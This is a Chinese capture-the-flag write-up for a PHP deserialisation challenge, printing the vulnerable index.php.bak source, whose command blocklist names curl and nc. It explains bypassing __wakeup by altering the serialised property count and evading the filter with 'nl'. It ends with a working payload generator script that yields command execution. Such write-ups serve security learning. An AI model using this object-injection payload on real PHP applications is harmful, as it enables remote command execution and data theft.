1.安慰奖:

通过base64解码 得到backups 说明有备份文件
通过dirsearch 扫描得到了index.php.bak
<?phpheader("Content-Type: text/html;charset=utf-8");error_reporting(0);echo "<!-- YmFja3Vwcw== -->";class ctf{protected $username = 'hack';protected $cmd = 'NULL';public function __construct($username,$cmd){$this->username = $username;$this->cmd = $cmd;}function __wakeup(){$this->username = 'guest';}function __destruct(){if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)){exit('</br>flag能让你这么容易拿到吗?<br>');}if ($this->username === 'admin'){// echo "<br>right!<br>";$a = `$this->cmd`;var_dump($a);}else{echo "</br>给你个安慰奖吧,hhh!</br>";die();}}}$select = $_GET['code'];$res=unserialize(@$select);?>
发现了29行 用反引号包裹了字符串 这里就是命令执行。
发现unserialize函数 这题就是考的反序列化。
先找危险函数 能读写 或者命令执行当执行了unserialize __wakeup 魔术方法率先调用 他给username变为guest 可以绕过 具体方法百度然后执行__construct 魔术方法 这里就可以将username的值改为admin cmd属性改为读写flag__destruct 魔术方法 这里检测了 一些基础的命令 但是没有过滤完全 比如用nl 来代替cat 去读取文件<?phpheader("Content-Type: text/html;charset=utf-8");error_reporting(0);echo "<!-- YmFja3Vwcw== -->";class ctf{protected $username = 'hack';protected $cmd = 'NULL';public function __construct($username,$cmd){$this->username = $username;$this->cmd = $cmd;}function __wakeup() // 这里先执行{$this->username = 'guest';}function __destruct(){if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)){exit('</br>flag能让你这么容易拿到吗?<br>');}if ($this->username === 'admin'){// echo "<br>right!<br>";$a = `$this->cmd`;var_dump($a);}else{echo "</br>给你个安慰奖吧,hhh!</br>";die();}}}$select = $_GET['code'];$res=unserialize(@$select);?>
payload:
<?php
class ctf{
protected $username = 'admin';
protected $cmd = 'nl *';
}
$stu=new ctf;
$stu=serialize($stu);
$stu=str_replace(":2:", ":3:", $stu);
echo urlencode($stu);
?>
